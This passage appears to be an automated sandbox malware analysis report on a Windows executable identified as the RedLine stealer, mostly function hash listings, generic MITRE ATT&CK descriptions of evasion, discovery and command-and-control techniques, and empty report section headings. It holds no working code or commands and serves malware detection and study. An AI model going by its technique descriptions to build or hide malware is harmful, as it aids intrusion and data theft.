Instruction Fuzzy Hash: 13E039327042446B9B408A5AE445E9ABFE9EB89271B0580AAF948C3201EA31D9028B68

Uniqueness

Uniqueness Score: -1.00%

Function 05162CC0, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a90985011a53443a50dbebe08369e7856cb90648d0c3fae255f50a1bcf27190f
Instruction ID: bc23ca6362d51583fa59b1a4701e3dd66b85aa89367e669602e8701385dd30bf
Opcode Fuzzy Hash: a90985011a53443a50dbebe08369e7856cb90648d0c3fae255f50a1bcf27190f
Instruction Fuzzy Hash: 7AF0A03260030A9ACB00AFA5D8504DAB778EFC43207104A2AE559A3600EB70A54486A0

Uniqueness

Uniqueness Score: -1.00%

Function 0516E220, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89b3f327896b095d65c3dbe8500f0bcfed208fbbf0d77a597957a60b873cdac9
Instruction ID: 565d5ecea71123f87f0ad16b11b272649edee25dd349419ae4c37833b6f7d36e
Opcode Fuzzy Hash: 89b3f327896b095d65c3dbe8500f0bcfed208fbbf0d77a597957a60b873cdac9
Instruction Fuzzy Hash: E2F05830E042199FCB40EFB8E8016AEB7F5EF88200F51857AD519E7300EB306A018BC1

Uniqueness

Uniqueness Score: -1.00%

Function 050FE710, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e757c65fbe66708101b47033089161c0f527c38d5f3083dd21bb154dd692459
Instruction ID: d27eaa4cb75665049a98d2e1618692fc7764dd17e5e29cd34c76c738265817b6
Opcode Fuzzy Hash: 6e757c65fbe66708101b47033089161c0f527c38d5f3083dd21bb154dd692459
Instruction Fuzzy Hash: DDE09276B042145BD3A1CB59E4C4FAEBFEDAB58660B198059E94CCB711EA30D9428788

Uniqueness

Uniqueness Score: -1.00%

Function 050FC275, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6133612750235517e710664b898c4be8540c6b978d50d80225a907209d5779f6
Instruction ID: 8c4d4d822a5384932c7b4ac6fbf68715df41bbcd06b34619467d5f11ede4f9b2
Opcode Fuzzy Hash: 6133612750235517e710664b898c4be8540c6b978d50d80225a907209d5779f6
Instruction Fuzzy Hash: 9FF0F9366051089FCB41CF94E6459CCBBF2FB8C210B21C190E5089B221C731ED91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05162C58, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d5798c477bbea7eca40da443905666a726d371ceaefdebfa80af4b058e157a3
Instruction ID: 9c993d6897517a322e1d837fd2c237c939f92742c0d06058e5bdd56c6f242403
Opcode Fuzzy Hash: 1d5798c477bbea7eca40da443905666a726d371ceaefdebfa80af4b058e157a3
Instruction Fuzzy Hash: 23F0E5328143199FC701EF68D4506DEBBB4EF85260F00829AE44AA7101FF3096908785

Uniqueness

Uniqueness Score: -1.00%

Function 0516DF60, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9aa681a292e5c2b456621bac72cad08a6c4d09984e975b71a9e2480d9e260a7
Instruction ID: 2e2a33abb2d296e74388c93b9b6fb97885fecd1d44994964553ea0d0dcc0e64b
Opcode Fuzzy Hash: f9aa681a292e5c2b456621bac72cad08a6c4d09984e975b71a9e2480d9e260a7
Instruction Fuzzy Hash: 23E01A363002148BD3149A6AE444956B7EAEBD9361714417AF605C7320DA72EC52CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 051691A0, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b778d43ec7dde73d6550c6ec3b6c1da1a043d16a8e373183a27894889d25cb52
Instruction ID: fb4b7972cf9fd067a5f43f1ff42cecb8c3de03901ce48ccaea5ff9316dd5fad5
Opcode Fuzzy Hash: b778d43ec7dde73d6550c6ec3b6c1da1a043d16a8e373183a27894889d25cb52
Instruction Fuzzy Hash: BFE092323047109FC700D7A8E9549AE7BE9EBC9624B198499F145C7761CE64EC018784

Uniqueness

Uniqueness Score: -1.00%

Function 05169380, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da3ae563ed90890254fa86c2d01eeab3b62e75a3aa1965e6c0ae1850bb5634ab
Instruction ID: deda5123a14b1b53c2fb1a415a11c59eabeacd292e5be199a5fe1e6fa781e64e
Opcode Fuzzy Hash: da3ae563ed90890254fa86c2d01eeab3b62e75a3aa1965e6c0ae1850bb5634ab
Instruction Fuzzy Hash: D1E04F37328118BB5B106A99F905CAE7BAAEBC97B17408026FA45C7240CB71991597A4

Uniqueness

Uniqueness Score: -1.00%

Function 050FF010, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1454360fd46edde3778d32a63670d9c432d9308e7e4fa42e29067eb15aef12e1
Instruction ID: 2f2aba20ca6760f6858d1d2bc80a9af8d977f4a67cb3c3eb3100ef6875360e65
Opcode Fuzzy Hash: 1454360fd46edde3778d32a63670d9c432d9308e7e4fa42e29067eb15aef12e1
Instruction Fuzzy Hash: 62E04F357042146F4754DA4EE444D9ABFEDDBC86B5315C06AF90CC7300EB31ED028BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0516B7FB, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8ec1defd7822274bf0ec4804300b50c647aa8de7f112b710b49b02fce3b3d63
Instruction ID: 40cf58cc7cd6e0603fe0497809ad98aff2e46e706ca18d6151dacc912c48b92e
Opcode Fuzzy Hash: a8ec1defd7822274bf0ec4804300b50c647aa8de7f112b710b49b02fce3b3d63
Instruction Fuzzy Hash: C7E0CD373002147743086A7AAC8595BFFDAEBCD6B17404039FA09D3301DE31DC1187A4

Uniqueness

Uniqueness Score: -1.00%

Function 0516B800, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b220824f1ccd048d5840adf1c56dca9308b1d3fdc590ef3bea4825ff6a87db94
Instruction ID: 4ecfd5454bb1ac9c6dd9566745c076207e40646ecea534c7ed7c1a010a5921d8
Opcode Fuzzy Hash: b220824f1ccd048d5840adf1c56dca9308b1d3fdc590ef3bea4825ff6a87db94
Instruction Fuzzy Hash: C4E0C2323002186B43086ABAAC8484AFBDAEBCC2B1740803AFA09C3301DE319C1187A4

Uniqueness

Uniqueness Score: -1.00%

Function 050F376A, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0f6ba588e5a5c89163fe2eb1726562c45938679ac391a66fdadf2ee0db0439
Instruction ID: eafa7855189c7726019fbaf34829d3f982064ba5698d8d16707e4e87603d3937
Opcode Fuzzy Hash: 4e0f6ba588e5a5c89163fe2eb1726562c45938679ac391a66fdadf2ee0db0439
Instruction Fuzzy Hash: 82E086363181804FDA50A719B7463BD3BA2FF89239F5419A5E24587848CF2454099B00

Uniqueness

Uniqueness Score: -1.00%

Function 051691B0, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 435d78b28a7bc7005633cd1c253241a1e5742c3e508b28081a9db4478485b486
Instruction ID: 02a3006ba19f9bd85f4fc1d531ca6de79beefe9a61e735786382ea12222870b0
Opcode Fuzzy Hash: 435d78b28a7bc7005633cd1c253241a1e5742c3e508b28081a9db4478485b486
Instruction Fuzzy Hash: 86E08C313007109FCB04EBA9D848C6A77EDEF886143008899F206C7360CEA4EC008BC4

Uniqueness

Uniqueness Score: -1.00%

Function 050FE5C2, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30bccd5c2119f9bbb865eef9b1bed809b1a9b45a1e40b02b17e475ec6a089e0d
Instruction ID: b4202fcd0fb5664701ccd4461cee7fcc518e90678462c45fdc4871cfe842c4ef
Opcode Fuzzy Hash: 30bccd5c2119f9bbb865eef9b1bed809b1a9b45a1e40b02b17e475ec6a089e0d
Instruction Fuzzy Hash: B8D0953F30911043D719825DF914394779D5BC6471F140877D354D2710CF78C4434308

Uniqueness

Uniqueness Score: -1.00%

Function 05162598, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f27fdc6ba002895a37fc070d5ffa758168e9da9e7584ef07cbe2d2f5ff626ea
Instruction ID: a12969a317384c6d54aca1c3546b1dd730c54aae3bc759d10bd2f5229a46f845
Opcode Fuzzy Hash: 6f27fdc6ba002895a37fc070d5ffa758168e9da9e7584ef07cbe2d2f5ff626ea
Instruction Fuzzy Hash: B9E0C2311143408FD7112B75B45E2B83F7EFF0A222B0804F9F44682640CF36C846CB40

Uniqueness

Uniqueness Score: -1.00%

Function 051625A8, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 998a6d4bfb1c2bcb54160f128daab8cdf5e9abe016348bde4e00085ccbc789e3
Instruction ID: efa857a410b78c8e0d969d66043fd9721afb7ffd01efdbcc6721e81e6149ca08
Opcode Fuzzy Hash: 998a6d4bfb1c2bcb54160f128daab8cdf5e9abe016348bde4e00085ccbc789e3
Instruction Fuzzy Hash: 9ED017326643148B9B242BB9B40D4A97B6DFF4426630504BAF50AC2680CF36D991CB94

Uniqueness

Uniqueness Score: -1.00%

Function 050F1C59, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f42910a7ad65e1dcbeb684763e8404e8225828757fce53a10a89e029d2e3c44f
Instruction ID: 40e02750a4d5ca3662401cddac2fec1fe98b4a3a0b92b49fcaa42c2b3f3b9419
Opcode Fuzzy Hash: f42910a7ad65e1dcbeb684763e8404e8225828757fce53a10a89e029d2e3c44f
Instruction Fuzzy Hash: 77E0C270109001CFC744DB30E490BA9BBE4AF49300F046A6CD0C2C3040EF309444DB51

Uniqueness

Uniqueness Score: -1.00%

Function 05169AA0, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff45a8656426a6f571656fa579da17db749aae396e639922542fa83a41321046
Instruction ID: a06541fb53c12274d08bb3d65681b3bfc102c7aeb3b93ea6985cdbd23af75086
Opcode Fuzzy Hash: ff45a8656426a6f571656fa579da17db749aae396e639922542fa83a41321046
Instruction Fuzzy Hash: 49E09274E04308AF8B44DFA9D54549DBBF5AB48200F0080AAE808E3340EA349A40CF84

Uniqueness

Uniqueness Score: -1.00%

Function 050F0330, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68951143d9a230c34eac7b28e4d60aec858c930cda0c0c54acf4935fcba04222
Instruction ID: 429e16df483459bf3d6b0a33210160e279b356fdc586b960d4702ba02deb5e35
Opcode Fuzzy Hash: 68951143d9a230c34eac7b28e4d60aec858c930cda0c0c54acf4935fcba04222
Instruction Fuzzy Hash: 22D0A9223281E017DA0123AC385A2F96FA68FCB2B0B48006AF182C3288CD604903A381

Uniqueness

Uniqueness Score: -1.00%

Function 0516F6F1, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ca38d6383d0a64449b06362c80b3a390d6df300ce80d07ddd642a2352312c5
Instruction ID: 825dee20bea51d998b40ccc3c6f1ec42db1ba0f6d931f96cc946247e261d73d0
Opcode Fuzzy Hash: b2ca38d6383d0a64449b06362c80b3a390d6df300ce80d07ddd642a2352312c5
Instruction Fuzzy Hash: B2E04F7090020EDFEB20DF90DC59BDEBB71FB44300F104156E406A3284CB745A96CF91

Uniqueness

Uniqueness Score: -1.00%

Function 051691F1, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34675b11b84fa51825de84d8c056e40467d111c6964406251ffcca2a5a7fe01
Instruction ID: 7df907963e73f9843e49ce3b97666e237034e0c2db904e6e5a4fe1ed2e5b271d
Opcode Fuzzy Hash: b34675b11b84fa51825de84d8c056e40467d111c6964406251ffcca2a5a7fe01
Instruction Fuzzy Hash: C6D0A7327082449FDF01D714FA823DDBF64FBC4635F1584E6E28586501DB352166CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05169141, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f34d78eff5758cbcb84862d922e1998dce48e7de262b60dc39fe76dc6e9ee6
Instruction ID: 7ec912668b7bc09a5f0cea7df7f495859649ce131e959f3611d4c7e3a8e8230b
Opcode Fuzzy Hash: c6f34d78eff5758cbcb84862d922e1998dce48e7de262b60dc39fe76dc6e9ee6
Instruction Fuzzy Hash: A3D0A73101434C8ED704BB78D851B997F74EF15221F54015ED88527122FE30E55ED791

Uniqueness

Uniqueness Score: -1.00%

Function 05169170, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b395eaf182152c7ca92c356e0dd1c0efa8d6d1fa160fa5263b6d82432d1f0315
Instruction ID: 2e72af24a94eb3d5f6889637e0ac2ceec11cda94db1af5bf61000f92297eaace
Opcode Fuzzy Hash: b395eaf182152c7ca92c356e0dd1c0efa8d6d1fa160fa5263b6d82432d1f0315
Instruction Fuzzy Hash: 20D05E3341624C8EC701AB78A4557E87FB9BB5A610F455156E0C016111EA20A557D781

Uniqueness

Uniqueness Score: -1.00%

Function 051624B0, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42b54e5ef65e606ff4c5c1b3e4d27d6bf92e095e53653a36fe203236d011de16
Instruction ID: 7f94624f79fab4610001dde0605f736e6517d9cf0dc0c4541ff705e6a7d618b0
Opcode Fuzzy Hash: 42b54e5ef65e606ff4c5c1b3e4d27d6bf92e095e53653a36fe203236d011de16
Instruction Fuzzy Hash: 8DD012212186495ADB0017B0791D3B53FADAB0D226F885091F19A80181DE1594059652

Uniqueness

Uniqueness Score: -1.00%

Function 051624C0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e81371a0e5e77d7b7607c6e19874beedda0d08b6470b7a0b29b017f3ada74d8
Instruction ID: 0b27eeaf640373a5ff393f93cd12e2ef63f22ed7e50a0cd0160999d942100776
Opcode Fuzzy Hash: 5e81371a0e5e77d7b7607c6e19874beedda0d08b6470b7a0b29b017f3ada74d8
Instruction Fuzzy Hash: 33C04C3135460C4BDB545AB179197367B9DEB40616F4444A5F50EC1580DE25D8149563

Uniqueness

Uniqueness Score: -1.00%

Function 05169AD9, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8012e7974a112597f00e5bf8a2f0388ce12cfff1c7bb955476d0b936ba3bb528
Instruction ID: f1783dc0642d7f9f40daf6e220c6c77b790ff69722c8b37b5105162a0e0c8e28
Opcode Fuzzy Hash: 8012e7974a112597f00e5bf8a2f0388ce12cfff1c7bb955476d0b936ba3bb528
Instruction Fuzzy Hash: 0CD0A7719042088FCB41CFE09F5029977F1DB8124AF6145EFC804AB690EB360E148B95

Uniqueness

Uniqueness Score: -1.00%

Function 05169150, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2991113e8ab60b4503887961efb5654ffd46d16c9a1c7abac245d5d7fa43791b
Instruction ID: f3713eae5a34f14e5267761f2f166648a7081ae5a9d70c592c77192e21edcccd
Opcode Fuzzy Hash: 2991113e8ab60b4503887961efb5654ffd46d16c9a1c7abac245d5d7fa43791b
Instruction Fuzzy Hash: BFC0123141060C8EC700BB78D4048587B78EB55200B40511AD44517110EF30A5A9D792

Uniqueness

Uniqueness Score: -1.00%

Function 05169180, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f43f3b41fc0b553357bcbbc561d433d7eec8e2fc582def3ee795fa752d39ddac
Instruction ID: a54a9d3890c5ae0316af0b2d2a0dbcb75c0b2493d2392b80b146ba7bbf55c62d
Opcode Fuzzy Hash: f43f3b41fc0b553357bcbbc561d433d7eec8e2fc582def3ee795fa752d39ddac
Instruction Fuzzy Hash: 66C0123241160C8EC740BBA8E804898BBB8EB55301B00822AE4452A210EF20A1AADB92

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage